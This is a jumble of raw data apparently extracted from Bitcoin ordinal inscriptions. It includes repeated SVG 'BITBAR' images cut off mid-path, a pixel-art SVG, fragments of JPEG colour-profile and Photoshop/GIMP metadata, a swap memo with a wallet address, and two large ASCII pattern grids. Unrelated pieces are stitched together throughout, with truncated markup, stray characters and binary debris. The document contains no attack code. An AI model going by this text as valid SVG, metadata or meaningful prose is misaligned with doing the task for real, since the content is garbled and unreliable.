9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg viewBox="0 -0.5 24 24" shape-rendering="crispEdges" xmlns="http://www.w3.org/2000/svg">
    Ordinum bar #011
  <path d="M0 0h24M0 1h1m22 0h1M0 2h1m22 0h1M0 3h1m2 0h1m7 0h3m2 0h1m2 0h3m1 0h1M0 4h1m1 0h2m7 0h1m3 0h1m1 0h1m2 0h1m2 0h1M0 5h1m2 0h1m9 0h1m1 0h3m2 0h1m2 0h1M0 6h1m2 0h1m7 0h3m1 0h1m1 0h1m2 0h1m2 0h1M0 7h1m22 0h1M0 8h1m22 0h1M0 9h1m22 0h1M0 10h1m13 0h3m6 0h1M0 11h1m11 0h2m2 0h2m5 0h1M0 12h1m9 0h3m2 0h2m2 0h1m3 0h1M0 13h1m7 0h7m5 0h1m2 0h1M0 14h1m5 0h7m7 0h1m2 0h1MM
0 15h1m3 0h1m1 0h5m8 0h1m3 0h1M0 16h1m3 0h2m1 0h2m8 0h1m5 0h1M0 17h1m3 0h3m8 0h1m7 0h1M0 18h1m4 0h2m6 0h1m9 0h1M0 19h1m5 0h1m4 0h1m11 0h1M0 20h1m6 0h1m1 0h1m13 0h1M0 21h1m7 0h1m14 0h1M0 22h1m22 0h1M0 23h24" stroke="#f7931a"></path>
  <path d="M1 1h22M1 2h22M1 3h2m1 0h1m2 0h1m2 0h1m3 0h2m1 0h2m3 0h1M1 4h1m2 0h1m1 0h1m1 0h1m1 0h1m2 0h2m1 0h1m1 0h2m1 0h2M1 5h2m1 0h1m1 0h1m1 0h1m1 0h2m2 0h1m3 0h2m1 0h2M1 6h2m1 0h1m1 0h3m1 0h1m3 0h1m1 0h1m1 0h2m1 0h2M1 7h22M1 8h13m3 0h6M1 9h11m6 0h5M1 10h9m9 0h4M1 11h7m12 0h3M1 12h5m15 M
0h2M1 13h4m16 0h2M1 14h3m17 0h2M1 15h3m16 0h3M1 16h2m15 0h5M1 17h2m13 0h7M1 18h3m10 0h5m3 0h1M1 19h4m7 0h7m3 0h1M1 20h5m4 0h9m3 0h1M1 21h6m2 0h10m3 0h1M1 22h22" stroke="#000"></path>
  <path d="M5 3h2m1 0h2M5 4h1m1 0h1m1 0h1M5 5h1m1 0h1m1 0h1M5 6h1m3 0h1" stroke="#fff"></path>
  <path d="M12 4h1m-1 1h1m6 13h3m-3 1h3m-3 1h3m-3 1h1" stroke="#0800af"></path>
  <path d="M14 8h1m1 0h1m-5 1h1m4 0h1m-8 1h1m7 0h1M8 11h1m-3 1h1m13 0h1M5 13h1m-2 1h1m-2 2h1m-1 1h1m1 2h1m1 2h1" stroke="#d77600"></path>
  <path d="M15 8h1m-3 1hMU
1m-3 1h1m-3 1h1m9 0h1M7 12h1m9 1h3m-5 1h5m-7 1h6m-8 1h6m-8 1h6M4 18h1m3 0h5m-5 1h3m-5 1h1m1 0h1" stroke="#c86e02"></path>
  <path d="M14 9h3m-5 1h2m3 0h1m-8 1h2m2 0h2m2 0h1M8 12h2m3 0h2m2 0h2M6 13h2m7 0h2M5 14h1m7 0h2M5 15h1m5 0h2m-7 1h1m2 0h2m-4 1h2m-2 1h1m-1 1h1" stroke="#fc6"></path>
  <path d="M20 21h2" stroke="#5850ff"></path>
((((((((((((((((((((((((((((((((((((((((((((((((((
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
*%,+)%((.4B8.1?2((:N:?DGJKJ-7QWQHVBIJG
"G0(0GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
n]oo`rjZkl`p9Y>n`qVIWC6$fVg
u^<K@KA6+K<&NC6VC+ya>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:0EF20D0AAA2F11ED82C3D24223EA20F5" xmpMM:InstanceID="xmp.iid:0EF20D09AA2F11ED82C3D24223EA20F5" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x=M
"adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:50:52+0M
4:00" xmp:MetadataDate="2023-02-11T13:50:52+04:00" xmp:ModifyDate="2023-02-11T13:50:52+04:00" xmpMM:InstanceID="xmp.iid:40d97552-ba5c-2a4e-a956-ac3d1d74301b" xmpMM:DocumentID="adobe:docid:photoshop:1fde857f-8281-f848-8d5c-97e4b614028c" xmpMM:OriginalDocumentID="xmp.did:f1c99e71-5dec-7447-9719-3cfa269594c4" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:f1c99e71-5dec-7447-9719-3cfa269594c4" stEvt:when="2023-02-11T13:50:52+04:00" stEvM
t:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:40d97552-ba5c-2a4e-a956-ac3d1d74301b" stEvt:when="2023-02-11T13:50:52+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                       <?xpacket end="w"?>
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.M
com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:1224f68e-4cf3-4d5b-ad5e-f13dae96e579" xmpMM:InstanceID="xmp.iid:310814f4-e053-4bab-be40-5d9b259b4052" xmpMM:OriginalDocumentID="xmp.did:4af66040-3a82-46fc-95ec-a5ec23083802" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676299145888807" GIMP:Version="2.10.32" dc:Format="imaM
ge/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T09:39:04-05:00" xmp:ModifyDate="2023:02:13T09:39:04-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:cff2c909-7868-4bb5-8976-089ba7a56ef8" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T09:39:05-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                         M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                <?xpacket end="w"?>
Copyright Apple Inc., 2017
%!'&$!$#).;2),8,#$3F48=?BCB(1HMH@M;AB?
?*$*??????????????????????????????????????????????????
5 $5'/7478!*:#$:5:;#*<%
<9=><>?%'@&,@=AB*1B@CC'!D((D8@EBFGFHH)+HAII*$K+.KHLL,*N-2OLOP.%P.,RPSS28T//T61U0*V03WUXY10Z3'[36[KO\3/\BF][^^<<_5(`51a64b68c7-cadf92g98g:*hC>igjk<.l;4nmpo=:q>3q?.sC=t<$u@9uA2uWQutvwJDyB7zB-{C;{z||D2
9"$94::99;#*="#=&0=9>?(&@%
@&+A02A>BC%&D& D(-FBFG'&H(+H)
I*0I+&KGKM66N-(O,!O,+O,1PMPS./T.)T04TRUW1 W1-YIHZ2([1/[34[X[^;9_3/`56a5$a_bb52b7,dA?e77fM
71gehi9(j:/k:7kLKkjmnnpo<1p=)plqq>8rqssD=t@1v@7vuwyVMzB,zB2{C:{z|~D6
><@?&+B&/B(%B?CC(*E*2FDHG).H**K,'K46KIML*3L,-PMQQ.,Q.2R/'R9;TRVV05W1/Z4)ZUZ[31[Z]\47^::_53_6._^aa7*b66bEDcbed82f88f9.fegihkj:2l;7m=-mlop>3p>:qJEqqss@.t^ZuA3utvv@8wwyzC1zz|{C;}{~}~
OiCCPPhotoshop ICC profile
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:3D6C37E7AA3D11EDBB31B156C719C19A" xmpMM:InstanceID="xmp.iid:3D6C37E6AA3D11EDBB31B156C719C19A" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe PhotoshoM
p 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:49:52+04:00" xmp:MetadataDate="2023-02-11T13:49:52+04:00" xmp:ModifyDate="2023-02-11T13:49:52+04:00" xmpMM:InstanceID="xmp.iid:280354ee-476b-1b43-88ab-5e8100619b4b" xmpMM:DocumentID="adobe:docid:photoshop:89b5b79e-81a4-fc4e-8022-3931b3779577" xmpMM:OriginalDocumentID="xmp.did:97d8f6bc-d218-8d42-98a2-f14c52c60fa3" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:97d8f6bc-d218-8d42-98a2-f1M
4c52c60fa3" stEvt:when="2023-02-11T13:49:52+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:280354ee-476b-1b43-88ab-5e8100619b4b" stEvt:when="2023-02-11T13:49:52+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                           M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                              <?xpacket end="w"?>
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:DF9D15F0A8B611EDB5FFA762380AC4A3" xmpMM:InstanceID="xmp.iid:DF9D15EFA8B611EDB5FFA762380AC4A3" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
2023-02-13T17:10:38+00:00s
2023-02-13T17:10:38+00:00
2023-02-13T17:10:38+00:00U
/ViaBTC/Mined by wescormint/,
text/plain;charset=utf-8
text/plain;charset=utf-8
HjF=:BNB.BUSD-BD1:bnb10gh0p6thzjz54jqy9lg0rv733fnl0vqmc789pp:850321054206A
text/plain;charset=utf-8
FjDOUT:1CA9FD6324E5EFB581932206E0964640C4E6D7C62617B9730D94F534B14921DA
~,($\RN*)(ztqscbQHG+%#
x__IC?,27)-151.#"""(.rjf:DNB<6:AI
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
 0"%"%"0I.5..5.IAN@;@NAt[QQ[t
 0"%"%"0I.5..5.IAN@;@NAt[QQ[t
text/plain;charset=utf-8
.+.-.......-.|.....-......++.|....|.++......-.....|.-.......-.+.
++............................................................++
....-.....+..|.+....+..||....-....-....||..+....+.|..+.....-....
-.......|.......|..|....|..|........|..|....|..|.......|.......-
..-.-.....+.+......|.|.....+........+.....|.|......+.+.....-.-..
.....+|..-.....+|....+|..+.....++.....+..|+....|+.....-..|+.....
.....||..........+.....+--.....++.....--+.....+..........||.....
.....................--..--..--..--..--..--.....................
...|....|-....|..........|............|..........|....-|....|...
.....-..-..-..-..-.|-.|-.|+.|+.||.+|.+|.-|.-|.-..-..-..-..-.....
..+.+.......+.+..|..+.+|................|+.+..|..+.+.......+.+..
-........-..-...|....-........-..-........-....|...-..-........-
....+.....+-|...+-|....-|..............|-....|-+...|-+.....+....
|.|..........................................................|.|
........|-+....|-..........|-+....+-|..........-|....+-|........
..+..+........|..|..-+..+..+........+..+..+-..|..|........+..+..
...|.|.....|+.-.....-.....|.|......|.|.....-.....-.+|.....|.|...
......+..-|.-..|.+|.-|....................|-.|+.|..-.|-..+......
............|....|...+|...+|...++...|+...|+...|....|............
-..||....|............++...++..--..++...++............|....||..-
..+......-+....---....|-......|..|......-|....---....+-......+..
....|+.-...-...+.|+.....|...-......-...|.....+|.+...-...-.+|....
.....|.-.|+.......|+|..+.....|....|.....+..|+|.......+|.-.|.....
..|...+..-|.-......+-.+.......+..+.......+.-+......-.|-..+...|..
..||..-.....|..+.....|..+.....|..|.....+..|.....+..|.....-..||..
.....+--||............................................||--+.....
+......-.+......|.+.......-.+......+.-.......+.|......+.-......+
+..|+.........|+..|+.........|+..+|.........+|..+|.........+|..+
.........|....-.|..+.-....+..........+....-.+..|.-....|.........
|.-....-.+....+.......|....|.-....-.|....|.......+....+.-....-.|
.......-...-........|..+|..+........+..|+..|........-...-.......
.....++..|........+-...........--...........-+........|..++.....
.....||..+........|-...........--...........-|........+..||.....
.......-...-........+..|+..|........|..+|..+........-...-.......
+.-....-.|....|.......+....+.-....-.+....+.......|....|.-....-.+
.........+....-.+..|.-....|..........|....-.|..+.-....+.........
|..+|.........+|..+|.........+|..|+.........|+..|+.........|+..|
|......-.|......+.|.......-.|......|.-.......|.+......|.-......|
.....|--++............................................++--|.....
..++..-.....+..|.....+..|.....+..+.....|..+.....|..+.....-..++..
..+...|..-+.-......|-.|.......|..|.......|.-|......-.+-..|...+..
.....+.-.+|.......+|+..|.....+....+.....|..+|+.......|+.-.+.....
....+|.-...-...|.+|.....+...-......-...+.....|+.|...-...-.|+....
..|......-|....---....+-......+..+......-+....---....|-......|..
-..++....+............||...||..--..||...||............+....++..-
............+....+...|+...|+...||...+|...+|...+....+............
......|..-+.-..+.|+.-+....................+-.+|.+..-.+-..|......
...+.+.....+|.-.....-.....+.+......+.+.....-.....-.|+.....+.+...
..|..|........+..+..-|..|..|........|..|..|-..+..+........|..|..
........+-|....+-..........+-|....|-+..........-+....|-+........
+.+..........................................................+.+
....|.....|-+...|-+....-+..............+-....+-|...+-|.....|....
-........-..-...+....-........-..-........-....+...-..-........-
..|.|.......|.|..+..|.|+................+|.|..+..|.|.......|.|..
.....-..-..-..-..-.+-.+-.+|.+|.++.|+.|+.-+.-+.-..-..-..-..-.....
...+....+-....+..........+............+..........+....-+....+...
.....................--..--..--..--..--..--.....................
.....++..........|.....|--.....||.....--|.....|..........++.....
.....|+..-.....|+....|+..|.....||.....|..+|....+|.....-..+|.....
..-.-.....|.|......+.+.....|........|.....+.+......|.|.....-.-..
-.......+.......+..+....+..+........+..+....+..+.......+.......-
....-.....|..+.|....|..++....-....-....++..|....|.+..|.....-....
||............................................................||
.|.-.......-.+.....-......||.+....+.||......-.....+.-.......-.|.
text/plain;charset=utf-8
....../.\...\.../....../.../.....\...\....../......./.\...\.../.
...././...././..\.\.........././...././..\...........././...././
....../...../.....//...../...../.....\.....\...../\....//...../.
.....\\.......\/......./.......\.......\.../......./.......\....
./..../....\......./....\....\......./....\....\.\..........\...
...\../........\../........\../........\../........\../........\
///\//\\\............//\\............./.........................
......\\............//...........\//..\........\/...\........//.
\.....\............/\....../...../............./...../......./..
..........\........\...\........\...\....\...\.../\...\.../.../\
.........\../\.//............\../\../...............\../........
./..\........./....\............/../.........../../..\..\....../
\./......./....\./......./....\........./..../............\./...
./........\......../....../.\...../.\......\......../.\......\..
...\......./....\...../....../...../....\../....\...../....\./..
.../.\..../.\......\....../....../.\......\......\....../.......
/\......../...\.............\........./...\...\...../../\..\....
............/.....//./...\\//...\\\.....\\.....\................
.\/../.........../..//.............\/..\.........../..\.........
.././.../\.\./.\././\...\.\./................................../
......./\........./\........./\......./\........./\........./\..
......//.........//................\\\.........\\........./\....
....../......./.......\.......\.......\.......\.......\.......\.
/../..\..\................../../../..\..\.....\..\./............
....\.\............\...........\.\.........\.\............\.\...
../........./....\.........\...\...../...\./.../........\/..../.
............././.\.\...............././.\.\................/.\.\
/....\../......../.......\........\../....\../....\../\......./.
.............\..\/./.../..................\..\..\/../.../.......
./..\.....\.../...../.........\.....\.../.....\.../...../.......
...../......\.......\.\......\.........\......\./....\./\......\
.//\.................../\\...../..............\.....//\.........
.........\//.....\............../.....\\/...................\//.
\......\/.\..../.\......\.........\......\.\.......\....../.....
......./...../...\...../...\.....\........./...../...\.....\../.
......./.../../\..\..\................../..././\..\.............
./.......\/..\..../..\..../..\........\......./......../..\..../
\.\./................\.\././................\.\././.............
./..../\......../.../.\.../.....\...\.........\..../........./..
...\.\............\.\.........\.\...........\............\.\....
............/.\..\.....\..\../../../..................\..\../../
